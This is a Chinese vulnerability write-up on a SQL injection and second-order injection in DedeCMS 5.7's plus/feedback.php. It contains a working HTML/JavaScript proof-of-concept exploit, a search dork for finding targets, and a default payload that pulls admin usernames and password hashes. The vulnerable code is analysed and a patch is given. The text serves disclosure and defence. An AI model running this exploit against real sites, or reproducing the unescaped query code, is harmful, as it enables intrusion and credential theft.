dedecms /plus/feedback.php SQL Injection Vul
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
. Dedecms v5.7的plus\feedback.php SQL没有正确验证用户提供的输入,在实现上中存在注入漏洞
. 攻击者可以利用DEDECMS的变量覆盖漏洞向数据库中注入WEBSHELL Payload
. 在另一个代码流,攻击者可以触发二次注入
Relevant Link:
http://sebug.net/vuldb/ssvid-60549
http://www.venustech.com.cn/NewsInfo/124/17697.Html
http://www.sorry404.com/chengxuwenti/20140504/47.html
2. 漏洞触发条件
0x1: POC
<html>
<head>
<title>DedeCms v5. feedback.php exp</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language='javascript'>
y = document.form1.addr.value;
function exploit()
{
var yanzhen = document.getElementById("yanzhen").value;
var aid = document.getElementById("aid").value;
var sqli = document.getElementById("sqli").value;
document.form1.typeid.value = "0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'), ('" + aid +"','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',"+sqli+")#";
document.form1.action = document.form1.addr.value + "/plus/feedback.php";
document.form1.te.name = "action";
document.form1.submit();
}
function getyanzhen()
{
var x = "<img src='"+ document.form1.addr.value +"/include/vdimgck.php' width='60' height='24' onclick=\"this.src=this.src+'?'\">";
document.body.innerHTML+=x;
document.form1.addr.value = y;
}
function look()
{
window.location.href = document.form1.addr.value+"/plus/feedback.php?aid="+document.getElementById("aid").value;
}
</script>
</head>
<body>
############################################################<br/>
DedeCms v5. feedback.php $typeid SQLi<br/>
Dork:inurl:plus/feedback.php?aid=<br/>
############################################################<br/><br/>
<form action="xxx" method="get" name="form1" target="_blank">
程序URL:<input type="text" id="addr" value="http://" /><br/>
验证码:<input type="text" name="validate" id="yanzhen" value=""/><br/>
存在的Aid:<input type="text" id="aid" value=""/><br/>
SQL注入语句:<input type="text" id="sqli" value="(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)" style="width:500px;"/><br/>
<input type="hidden" name="" id="te" value="send"/>
<input type="hidden" name="comtype" value="comments"/>
<input type="hidden" name="fid" value=""/>
<input type="hidden" name="isconfirm" value="yes"/>
<input type="hidden" name="msg" value="90sec"/>
<input type="hidden" name="typeid" value=""/>
<input type="button" onclick="getyanzhen();" value="获取验证码">
<input type="button" onClick="exploit()" value="#Exploit#" />
<input type="button" onClick="look()" value="查看结果" /><br/>
</form>
</body>
</html>
Relevant Link:
http://www.oday.pw/WEBanquan/111312.html
3. 漏洞影响范围
<= dedecms 5.7
4. 漏洞代码分析
\plus\feedback.php
..
//保存评论内容
if($comtype == 'comments')
{
$arctitle = addslashes($title);
if($msg!='')
{
//$typeid变量未做初始化
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','','','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
//引用回复
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");
//未对数据库查询的$row['arctitle']进行有效过滤,造成二次注入
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg,);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','','','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
..
Relevant Link:
http://www.yunsec.net/a/security/web/jbst/2012/1103/11816.html
5. 防御方法
\plus\feedback.php
//保存评论内容
if($comtype == 'comments')
{
$arctitle = addslashes($title);
/* 增加规范化、过滤逻辑 */
$typeid = intval($typeid);
$ischeck = intval($ischeck);
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
/**/ if($msg!='')
{
//$typeid变量未做初始化
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','','','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
//引用回复
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");
//未对数据库查询的$row['arctitle']进行有效过滤,造成二次注入
$arctitle = $row['arctitle'];
/* 增加转义逻辑 */
$arctitle = addslashes($row['arctitle']);
/* */ $aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg,);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','','','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
dedecms /plus/feedback.php SQL Injection Vul的更多相关文章
- dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...
- dedecms /member/uploads_edit.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms 5.3版本下的member/uploads_edit.p ...
- dedecms /member/resetpassword.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 DEDEcms SQL注入漏洞导致可以修改任意用户密码 2. 漏洞触发条 ...
- dedecms /member/reg_new.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件 http://127 ...
- dedecms /member/pm.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...
- dedecms /member/myfriend_group.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...
- dedecms /member/flink_main.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 会员模块中存在的SQL注入 Relevant Link http://w ...
- dedecms /member/mtypes.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...
- dedecms /member/edit_baseinfo.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 会员模块中存在的SQL注入 Relevant Link: http:// ...
随机推荐
- JS添加DOM元素CSS权重BUG
修改删除table的时候,比如拆分合并单元格,合并全部TR中的某个TD后在拆分还原,即使直接在td标签中设置了td的高宽属性,当td在css文件中设置为宽度auto的时候,不能显示出TD来,显示TD宽 ...
- ViewModelBase && ObservableObject
ViewModelBase && ObservableObject 在Mvvm中,ViewModel和Model都需要具有通知界面更新数据的能力,这都要借助于WPF中的 INotify ...
- HTTP 状态代码表示什么意思?
HTTP 状态代码表示什么意思? 如果某项请求发送到您的服务器要求显示您网站上的某个网页,服务器将会返回 HTTP 状态码响应请求.此状态代码提供关于请求状态的信息,一些常见的状态代码为: 200 - ...
- css+div 浮动分块
前段时间学过几天html,只是怀着了解的态度,能够读懂别人的页面,能够扒现成就行,一直没有自己动手去实践过,其实也不是没有实践过,前段时间扒了一个网页,想按照自己的要求来改,可后果是越改越乱.今天心血 ...
- JVM内存管理------GC算法精解(五分钟让你彻底明白标记/清除算法)
相信不少猿友看到标题就认为LZ是标题党了,不过既然您已经被LZ忽悠进来了,那就好好的享受一顿算法大餐吧.不过LZ丑话说前面哦,这篇文章应该能让各位彻底理解标记/清除算法,不过倘若各位猿友不能在五分钟内 ...
- javascript代码片段
DOMReady函数,只要DOM结构加载完成即可,不必等待所有资源加载完成,节约时间,"DOMContentLoaded"在H5中被标准化 var DOMReady=functio ...
- killall 根据名称终止进程
根据名称终止进程 killall [option] name-list killall 将信号发送到一个或多个进程用来终止它.除超级用户外,只有进程的所有者才可以对进程执行killall,超级用户可以 ...
- 16-head 简明笔记
显示文件的头部 head [options] [file-list] 参数 file-list 为要head显示的文件的路径名列表.当指定多个文件时,head在显示每个文件的前几行内容之前显示对应的文 ...
- MapReduce编程示例
1.将hadoop插件放入eclipse/plugins目录中 2.eclipse配置hadoop 依赖包目录 Window—Preferences 3.新建Map/Reduce Project项目 ...
- LINUX 配置SVN
1. 安装SVN yum -y install subversion 2. 创建版本库目录 mkdir /root/svn/ svnserve -d -r /root/svn/ 3. 创建版本库 ...